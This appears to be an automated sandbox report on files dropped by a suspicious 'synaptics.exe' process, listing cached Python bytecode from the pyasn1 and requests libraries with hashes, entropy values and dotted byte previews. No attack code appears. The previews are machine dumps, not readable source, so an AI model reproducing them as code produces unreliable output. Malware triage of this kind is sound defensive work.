.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d#d.d...Z.d#d.d...Z.e.d.d.....Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d.S.)%r....a>...Base class for

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\char.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5592
Entropy (8bit):	5.106088103082917
Encrypted:	false
SSDEEP:	96:chAsswL3b31sUQblFm1dSGah4in/lqaW5P3ftlSCowp9yQu9MURWu3nph9K:0Asbz1s9bn3GayicaWR3f2+9ruSURWu8
MD5:	3341842527492AB3BE350D9121B7D2B8
SHA1:	65FF3BF5368D098AAD43A4483E35188DA6A5AB8C
SHA-256:	8410532BECD12678BA7F2BDBBC8F137250A53B33524D3B4675408BD329F7C417
SHA-512:	4B5EE7948C1CFF5E04154C4EB15C67F89A1520B7008A908FF1C8602BEC2E8BC7A40E994A37408EADDF7B6483B137C5526803DE909326482E9F9EA2AE40EC1601
Malicious:	false
Reputation:	low
Preview:	o.......T..f.$.......................@...s&...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d d!..d!e...Z.d.S.)".....N)...error)...tag)...univ)...NumericString..PrintableString..TeletexString..T61String..VideotexString..IA5String..GraphicString..VisibleString..ISO646String..GeneralString..UniversalString..BMPString..UTF8Stringc....................@...sV...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.S.)...AbstractCharacterStringa....Creates \|ASN.1\| schema or value object... \|ASN.1\| class is based on :class:`~pyasn1.type.base.SimpleAsn1Type`,. its objects are immutable and duck-type :class:`bytes`.. When used in octet-stream context, \|ASN.1\| type assumes. "\|encoding\|" encoding... Keyword Args. -----------

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\constraint.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	23707
Entropy (8bit):	5.133960794242702
Encrypted:	false
SSDEEP:	384:xYMLgCqqRCO/Wsd9fTiuYOseVCTet2K4fnORtAlxkVUjNptXeW8na+MVMru:ilCNRDxBGlO3VmrfnORtUkC1eW6XMVMi
MD5:	164FE8DF1F6662630EBEA6D6A85076A3
SHA1:	7E28FCCE3F411E2763DE508D24C7DE4008DDE8D2
SHA-256:	4D334C6F6F76A4F7D15492DB5D9F3A2542DEB026ABDAEF97C2205A91B93B1472
SHA-512:	696C27A88EF3342F6C61FC182127F56D659BA9D9B980E18B5FB03FD27A810DBAAD4A4C263294740448083E3A0F3B5143C452830ABDD953EDADBE409045E26EF7
Malicious:	false
Reputation:	low
Preview:	o.......T..f.U.......................@...s....d.d.l.Z.d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.) .....N)...error)...SingleValueConstraint..ContainedSubtypeConstraint..ValueRangeConstraint..ValueSizeConstraint..PermittedAlphabetConstraint..InnerTypeConstraint..ConstraintsExclusion..ConstraintsIntersection..ConstraintsUnionc....................@...s....e.Z.d.Z.d.d...Z.d"d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d.S.)#..AbstractConstraintc....................G...s*...t...\|._.\|...\|.....t.\|.j.j.\|.j.f...\|._.d.S...N)...set.._valueMap.._setValues..hash..__class__..__name__.._values.._AbstractConstraint__hash....self..values..r.....HC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\constraint.py..__init__.

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\error.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	379
Entropy (8bit):	4.745014007004554
Encrypted:	false
SSDEEP:	6:y/SCYNbsu3gMlCep2AInXx9YLIKP66GS9ofaHxEM9ArdKxqXKUeh/QGD7/W+ho:CWNQEgYCeeQ2+lLxsneh/j7/W+ho
MD5:	657846E168942D15778B39DA6813A1CE
SHA1:	70577C3F2E1D6063894D51A68D4D5CF2A4B7FC53
SHA-256:	5DBABF2CD0AA8A867B65F613F6942226D10381601742ACA92E335D2FB767EBFF
SHA-512:	9D647BA35943D89FA6D25809589AD49E0E532DB1B31E2EDDD9AEB6DEB613B64F417261D6D80E73B941F9F1FA2CFFC3D87D7A8EC4AA9B3004FBD6393CDBE0EFCC
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s ...d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......)...PyAsn1Errorc....................@...s....e.Z.d.Z.d.S.)...ValueConstraintErrorN)...__name__..__module__..__qualname__..r....r.....CC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\error.pyr........s........r....N).Z.pyasn1.errorr....r....r....r....r....r......<module>....s........

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\namedtype.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	18330
Entropy (8bit):	5.141454292684053
Encrypted:	false
SSDEEP:	384:1sQFyRXOxlx+se3L2qeWNqb4UF1ducijQxfA3HtADIrt:rFWql8sgL2HWNq8UF1ducijQxf2rt
MD5:	2607FBB91BA7AFE1C2C0679837F0275E
SHA1:	9068A8035FCD7239DD763F5F709C1C3DC3A8E80E
SHA-256:	AF5EEBF0B4F4F89EF90BD42A5FABF3760964418AF3729D400587B78E4AA51836
SHA-512:	8BF0D7EED3779D76F64F510F928F16FD4353AD057D20BDACDB0DA990B40EC368295533A75855875349652B33C1BB4A46D8CB487B4352F145D0E31C64D10969E3
Malicious:	false
Reputation:	low
Preview:	o.......T..f3?.......................@...sx...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......N)...error)...tag)...tagmap)...NamedType..OptionalNamedType..DefaultedNamedType..NamedTypesc....................@...s....e.Z.d.Z.d.Z.d.Z.d.Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d d!..Z.d"d#..Z.d.S.)%r....a....Create named field object for a constructed ASN.1 type... The \|NamedType\| object represents a single name and ASN.1 type of a constructed ASN.1 type... \|NamedType\| objects are immutable and duck-type Python :class:`tuple` objects. holding name and asn1Object components... Parameters. ----------. name: :py:class:`str`. Field name.. asn1Object:. ASN.1 type object. FNc....................C...s ...\|.\|._.\|.\|._.\|.\|.f.\|._.\|.\|._.d.S...N)..._NamedType__name.._NamedType__type.._NamedType__na

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\namedval.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5471
Entropy (8bit):	5.1430855289327395
Encrypted:	false
SSDEEP:	96:w7bLr4jGns+GAwQvrrmPzKJzXzr72HL2LWHbIGpwhShNC4nxxrWqYx5qiwd:Pjcs+GAwQTrmGh2HgWHkGOkhVnxxrahY
MD5:	111CAED2B0F9667D116F4D9CA24BCE68
SHA1:	4257478A84311CF6A0D608962A5443AB929BC13F
SHA-256:	9C66F03251E4FCF3EED2C81E20D5DAC2266B4330A58225D0A7C3C3CDE9CE0075
SHA-512:	060EC15004E05CAA35449986FD7BDC2A6A4B18037A8E065F7A79CC9E95C0889599AF0E96772E70425EBA6D7FDB59AABE5012F03DEEF2F4FB4FB818A8E5A773BE
Malicious:	false
Reputation:	low
Preview:	o.......T..f#........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...error..NamedValuesc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,S.)-r....a....Create named values object... The \|NamedValues\| object represents a collection of string names. associated with numeric IDs. These objects are used for giving. names to otherwise numerical values... \|NamedValues\| objects are immutable and duck-type Python. :class:`dict` object mapping ID to name and vice-versa... Parameters. ----------. args: variable number of two-element :py:class:`tuple`.. name: :py:class:`str`. Value label.. value: :py:class:`int`. Numeric value.. Keyword Args. ------------. name: :py:class:`str`. Value label.. value: :py:class:`int`. Numeric valu

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\tag.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10192
Entropy (8bit):	5.0276603453833815
Encrypted:	false
SSDEEP:	192:NOjGsnVvD7K+qqlTckRWnzSO4U/KNrNr2RPb0qn:4HnVL7/HRWnZ4U/xb0q
MD5:	EFA3F70FD3C76A0DD2FEE5DAAD82EBC3
SHA1:	8649831D0F29C59B90FC0E16DFA144123815ADB6
SHA-256:	BEF2B4C66BFC2F0D579AFB7C3161B9B6CBCBBF2FCF4B0EDE0E0ECFD1B58EAD45
SHA-512:	591F9D6B3EDA26EA2148D33A0BB4E6801B50647B5AA074E0BED64D8E392009AAD258896774F0C78F350EF96461D93E05D166CF886B1AAC04314643E6334E9CD8
Malicious:	false
Reputation:	low
Preview:	o.......T..f.%.......................@...sd...d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d.S.)......)...error)...tagClassUniversal..tagClassApplication..tagClassContext..tagClassPrivate..tagFormatSimple..tagFormatConstructed..tagCategoryImplicit..tagCategoryExplicit..tagCategoryUntagged..Tag..TagSet.@............. ..................c....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d d!....Z.d"S.)#r....a....Create ASN.1 tag.. Represents ASN.1 tag that can be attached to a ASN.1 type to make. types distinguishable from each other... Tag objects are immutable and duck-type Python :class:`tuple` objects. holding three integer components of a tag... Parameters. ----------. tagClass: :py:class:`int`. Tag class value.. tagFormat: :py:class:`int`. Tag format value.. tagId: :

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\tagmap.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3292
Entropy (8bit):	5.14175646312547
Encrypted:	false
SSDEEP:	48:w7uO+EKaC/KIO00QLMmp6ygy43BYEASd9uh9DYCfCEfXn+KZm667D0Kv19HpqEo:Vt0P0oyghxYwfuh9DYlaO+6HNvXHpqEo
MD5:	29C87D2D6F5DDA2FB3AC9D3A1B12630A
SHA1:	3F3B8823DEEE2FBCC5E509C0CE38CF04BB9031CA
SHA-256:	A049246414ED36077F4D8FAD2AAD6AF7D7499CE4FCD3354D5838EDA10602B3BA
SHA-512:	48A9B33C1CBBCC1809ED647A26422A81981EB8082D1724BE456D17CAFB2BE09E626D048A6DEA1B8EFA7369FDBD1F4FD81608551D4B22A09BBA8D3980B8C8340C
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...error..TagMapc....................@...sv...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....aF...Map TagSet objects to ASN.1 types.. Create an object mapping TagSet object to ASN.1 type... TagMap objects are immutable and duck-type read-only Python. :class:`dict` objects holding TagSet objects as keys and ASN.1. type objects as values... Parameters. ----------. presentTypes: :py:class:`dict`. Map of :class:`~pyasn1.type.tag.TagSet` to ASN.1 objects considered. as being unconditionally present in the TagMap... skipTypes: :py:class:`dict`. A collection of :class:`~pyasn1.type.tag.TagSet` objects considered. as absent in the TagMap even when defaultType is present... defaultType: ASN.1 type object. An ASN.1 type object callee TagMap returns for

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\univ.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	93765
Entropy (8bit):	5.299547981675023
Encrypted:	false
SSDEEP:	1536:ZlVBPPmHi1lw8zdxtKNaRdsSxRQxZvzEIAYWTJdqH/uN6xjjQT/8kKXDlCydymtD:ZPw8pxtKNaRdsSxRQxZvzEIAYWTJdqH1
MD5:	EFBC94614DFE3B7BE134E803E3D8A449
SHA1:	ECFCFABC416BB9B3427FF75A584FDE5FDD418287
SHA-256:	5BC42269EAC069C22C4AC5280A41074FCAA546BDEE1677A426AA02497B602206
SHA-512:	60F8D7640148126C3062AF068C600096E1D895EB46A8A4AD317D7D009BC2BC8338E3AA0FFF333195E41B4E87891E3B04A062A56F5F23ED0FFAEDA7D0ED29C31B
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.Z.e...Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d d!..d!e.j...Z.G.d"d#..d#e...Z G.d$d%..d%e...Z!G.d&d'..d'e.j...Z"G.d(d)..d)e"..Z#G.d*d+..d+e"..Z$G.d,d-..d-e$..Z%G.d.d/..d/e...Z&d.S.)0.....N)...error)...eoo)...integer)...base)...constraint)...namedtype)...namedval)...tag)...tagmap)...Integer..Boolean..BitString..OctetString..Null..ObjectIdentifier..Real..Enumerated..SequenceOfAndSetOfBase..SequenceOf..SetOf..SequenceAndSetBase..Sequence..Set..Choice..Any..NoValue..noValuec....................@...s....e.Z.d.Z.d.Z.e...e...e.j.e.j.d.....Z.e.....Z.e.....Z.e.j.....Z.e.f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"

C:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\pycache\useful.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4395
Entropy (8bit):	5.429031595596657
Encrypted:	false
SSDEEP:	96:SHaqgsjPefkBzr3Acd0XPSWhXgxTdeqTALFI8WoTFfI7YHpiZA:VTKIklA00/Sc6nTgFIDoJg7YHJ
MD5:	1B2C7E937CC630E66E7859AA7DDB5372
SHA1:	B66619813F1956029CF415A9F203054024FFEA16
SHA-256:	AC519C63B171A0554E7FB2A5FCFE72ACE87C910A474349F6EF7D0F2F7184352A
SHA-512:	F87483A9D6D4135F69BD976595F79502BD1BB45BFF47A8BF073EE094308E2C0C470CE9D2A251A3380B54CC5BD936136203F3D4AA8E9CB60822151F9C5CEE2864
Malicious:	false
Reputation:	low
Preview:	o.......T..f.........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.d.S.)......N)...error)...char)...tag)...univ)...ObjectDescriptor..GeneralizedTime..UTCTimec....................@...s:...e.Z.d.Z.e.j.j.Z.e.j.j...e...e.j.e.j.d.....Z.e.j.....Z.d.S.).r.........N)...__name__..__module__..__qualname__r......GraphicString..__doc__..tagSet..tagImplicitlyr......Tag..tagClassUniversal..tagFormatSimple..getTypeId..typeId..r....r.....DC:\Users\Public\QExvbmVOb25l\lib\site-packages\pyasn1\type\useful.pyr........s................r....c....................@...sL...e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.e...Z.e.d.d.....Z.e.d.d.....Z.d.S.)...TimeMixIn.....Fc....................@...s2...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.TimeMixIn.FixedOffsetz&Fixed offset in minutes east from UTC.r......UTCc....................C...s....t.j.\|.d...\|._.\|.\|._.d.S.).N)...minu

C:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3904
Entropy (8bit):	5.791321651011868
Encrypted:	false
SSDEEP:	96:QqPoGNOeYVGivMhhFJQlIgSdAhoFpVaxdses42WQXIBmPriV7:RP8MhqKgSehldFQYBJh
MD5:	7685397CF789DFC37312B8EAF3555C09
SHA1:	7735A67F384F99F3E0329AE5A6ED718623398BD7
SHA-256:	A6AA7A8B53FDFD6CA9EA5F66141887813FD8D85A9AE5EC14BA32B8EB0D29077B
SHA-512:	127DBD0D8E23DBE8BFEC36D35018DFDFA682A782E6DE47E21A1EB3B2BF190434BFFDC870C3E814711E7735927BC227A96939C3AC47FAB1D719B2F3FF6011B783
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...sL...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y#......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y7......d.Z.Y.n.w.d.d...Z.d.d...Z.z.e.e.j.e.e.....W.n...e.e.f.y`......e...d...e.j.e.e...e.....Y.n.w.z.z.d.d.l.Z.W.n...e.ys......d.Z.Y.n.w.e.e.d.d...s.d.d.l.m.Z...e.......d.d.l.m.Z...e.e.....W.n...e.y.......Y.n.w.d.d.l.m.Z...e...d.e.....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m.Z...d.d.l)mZm+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1..d.d.l.m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>m?Z?..d.d.l@mAZAmBZB..d.d.lCmDZD..e..EeF...Ge.......e.j.d.e4d.d.....d.S.).a.....Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2

C:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\pycache\version.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	518
Entropy (8bit):	5.543558804495626
Encrypted:	false
SSDEEP:	12:CAHUexOsG8ReRyu7msvBXV5b4SazcAFAu63WcJl7Rm7hooookk:tZxdOyqmsvBF5McAFAu6pbV4ek
MD5:	F34FAB97167751D0938F0C747B335316
SHA1:	3876CA526C774B062CBDCD3481E221FA2B7438D3
SHA-256:	9B94A6069FC053D9E79712B463BB0FBC766CCF7666B680908FCFC91ED8143298
SHA-512:	3C98F635C9A52E02C8C9A6F2B165BCE84DEF03A7D020DE25776E02F55042F0017B1EFC844D4B9B0A8FCBCB0A48D14C5F38599DE71BCD722A7BD4CF24FAB5CA6E
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...s,...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.)...requestsz.Python HTTP for Humans.z.https://requests.readthedocs.ioz.2.32.3i.2..z.Kenneth Reitzz.me@kennethreitz.orgz.Apache-2.0z.Copyright Kenneth Reitzu..... .. .N)...__title__..__description__..__url__..__version__..__build__..__author__..__author_email__..__license__..__copyright__..__cake__..r....r.....FC:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\__version__.py..<module>....s........................

C:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\pycache\_internal_utils.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1594
Entropy (8bit):	5.661162738180426
Encrypted:	false
SSDEEP:	24:tUBUBWmfmQURGWydfvTsNWGioiklxL5VWQ5Ycr1OlX471aNNqagEb/m5Q5lC:tmUBWAmpGWydoNxLEcr1OlX4Ja8me5Q+
MD5:	7C00653A65071DE9B419DFD972A56C04
SHA1:	B944F10AEF29180778C9DD7C9AFBDE96D4036876
SHA-256:	331128DF00D417CE3AADC20B60F393EA2FBCCBEA6B1C26ECA93175458385BB74
SHA-512:	48EB8B4FC6CD590DCD22FE0C1A6ABCC127A9C69A10F46EBA07A8D3B947A4E7875F37456E9862F693B9229373A13404154ADE73E3F8EFAA59CCD01CF6772FC35E
Malicious:	false
Reputation:	low
Preview:	o.......?..f.........................@...sr...d.Z.d.d.l.Z.d.d.l.m.Z...e...d...Z.e...d...Z.e...d...Z.e...d...Z.e.e.f.Z.e.e.f.Z.e.e.e.e.i.Z.d.d.d...Z.d.d...Z.d.S.).z..requests._internal_utils.~~~~~~~~~~~~~~..Provides utility functions that are consumed internally by Requests.which depend on extremely few external helpers (such as compat)......N.....)...builtin_strs....^[^:\s][^:\r\n]$z.^[^:\s][^:\r\n]$s....^\S[^\r\n]$\|^$z.^\S[^\r\n]$\|^$..asciic....................C...s ...t.\|.t...r.\|.}.\|.S.\|...\|...}.\|.S.).z.Given a string object, regardless of type, returns a representation of. that string in the native string type, encoding and decoding where. necessary. This assumes ASCII unless told otherwise.. )...isinstancer......decode)...string..encoding..out..r.....JC:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\_internal_utils.py..to_native_string....s..............r....c....................C...s4...t.\|.t...s.J...z.\|...d.....W.d.S...t.y.......Y.d.S.w.).z.Determine if unicod

C:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\pycache\adapters.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	22008
Entropy (8bit):	5.431370530692121
Encrypted:	false
SSDEEP:	384:YmMszG/lVfA1fIGIZ4Wj6EE28aauabYqpXMNpeux9URUlegWjvPWVhynNJRIVv8l:50TQfIGw4qpmcUp5luxifgCWSYvH9yck
MD5:	3399C8238984D5327D85C8514EBF3E0E
SHA1:	BA008396D022AB563CE4494369AC06B457CE0F97
SHA-256:	546D7CDD90BAEB35E9112585C645C0126E88F05257BA7C398F5012BB8822DC64
SHA-512:	E57338E05C00F38F5B551CE94970FDF31F05B7856499B5C1F0791C7BE433D4ED01A8E6F31CCF2B43B682C7E62CE03E0FED1A8094F5F0DA0DA74A63FBF20D70CF
Malicious:	false
Reputation:	low
Preview:	o.......?..f;k.......................@...s&...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l"m#Z#..d.d.l$m%Z%m&Z&..d.d.l'm(Z(..d.d.l)mZm+Z+m.Z.m,Z,m-Z-m.Z.m.Z.m/Z/m0Z0m.Z...d.d.l1m2Z2..d.d.l3m4Z4..d.d.l5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<..z.d.d.l=m>Z>..W.n...e?y.......d.d...Z>Y.n.w.e.j@r.d.d.l1mAZA..d.ZBd.ZCd.ZDd.ZEz.d.d.lFZFe!..ZGeG.He7e6......W.n...e?y.......d.ZGY.n.w........ .!.".#.$.%.&d-d'd(..ZIG.d)d..d..ZJG.d+d,..d,eJ..ZKd.S.).z..requests.adapters.~~~~~~~~~~~~~~~~~..This module contains the transport adapters that Requests uses to define.and maintain connections.......N)...ClosedPoolError..ConnectTimeoutError)...HTTPError)...InvalidHeader)...LocationValueError..MaxRetryError..NewConnectionError..ProtocolError)...ProxyError)...ReadTimeoutError..ResponseError)...SSLError)...PoolManager..proxy_from_url)...Timeout)...parse_ur

C:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\pycache\api.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6694
Entropy (8bit):	5.146271398526042
Encrypted:	false
SSDEEP:	96:s4kMfrO7AyGLluXW87ZolNAzj8t8JYat9DMGm6RGmOsGmfiC:wMDY7EeZjM88eRys2C
MD5:	BC1A743CA5485B370EA176DC578855E4
SHA1:	425CAC341512B87891826546C8901B8BD383FDD1
SHA-256:	E7072750792C3C21F880A3B80F2CB52BC0B15B823B5386E07D194CBB5591EFDE
SHA-512:	B21FBE488217CCB3A3092989ACB324D1551E97344CF27FFCA0CFAAE1F8F1857F6B95C64DDE61BBEC2C342E0AC1567F14B2A43440947F0F567939CF925E016023
Malicious:	false
Reputation:	low
Preview:	o.......?..f1........................@...s\...d.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z..requests.api.~~~~~~~~~~~~..This module implements the Requests API...:copyright: (c) 2012 by Kenneth Reitz..:license: Apache2, see LICENSE for more details.......)...sessionsc....................K...sB...t.......}.\|.j.d.\|.\|.d...\|.....W...d.........S.1.s.w.......Y...d.S.).a....Constructs and sends a :class:`Request <Request>`... :param method: method for the new :class:`Request` object: ``GET``, ``OPTIONS``, ``HEAD``, ``POST``, ``PUT``, ``PATCH``, or ``DELETE``.. :param url: URL for the new :class:`Request` object.. :param params: (optional) Dictionary, list of tuples or bytes to send. in the query string for the :class:`Request`.. :param data: (optional) Dictionary, list of tuples, bytes, or file-like. object to send in the body of the :class:`Request`.. :param json: (optional) A JSON serializable Python object to se

C:\Users\Public\QExvbmVOb25l\lib\site-packages\requests\pycache\auth.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	8090
Entropy (8bit):	5.488935587177655
Encrypted:	false
SSDEEP:	192:5B07m1AjzLPVCFA1PCGLcBCJI1W22VjwTrhhbVYy:X07m1iVCOPCGLRWW22aTNhl
MD5:	BE74449D59E06D7018FC0475CDFEAFBD
SHA1:	510D878316BA1826A214B8F9548A26C53FC350D5
SHA-256:	61C26C8289F3A92ABA57A92AD86E4657E0E8E943BA1DCE45E549A6AEFB0D7801
SHA-512:	92B737A5C983ABD6778AEE7BE8BE31DFF564E72F53BCE1B8A479715AEB2283A112B929E7F9BF19EAEC5BBD6FB80C64C4BD99F5B74611F3A89B582C1A4DDC0952
Malicious:	false
Reputation:	low
Preview:	o.......?..f.'.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z].requests.auth.~~~~~~~~~~~~~..This module contains the authentication handlers for Requests.......N)...b64encode.....)...to_native_string)...basestring..str..urlparse)...extract_cookies_to_jar)...parse_dict_headerz!application/x-www-form-urlencodedz.multipart/form-datac....................C...s....t.\|.t...s.t.j.d...\|...t.d.....t.\|...}.t.\|.t...s(t.j.d...t.\|.....t.d.....t.\|...}.t.\|.t...r2\|...d...}.t.\|.t...r<\|...d...}.d.t.t.d...\|.\|.f.............}.\|.S.).z.Returns a Basic Auth string.z.Non-string usernames will no longer be supported in Requests 3.0.0. Please convert the object 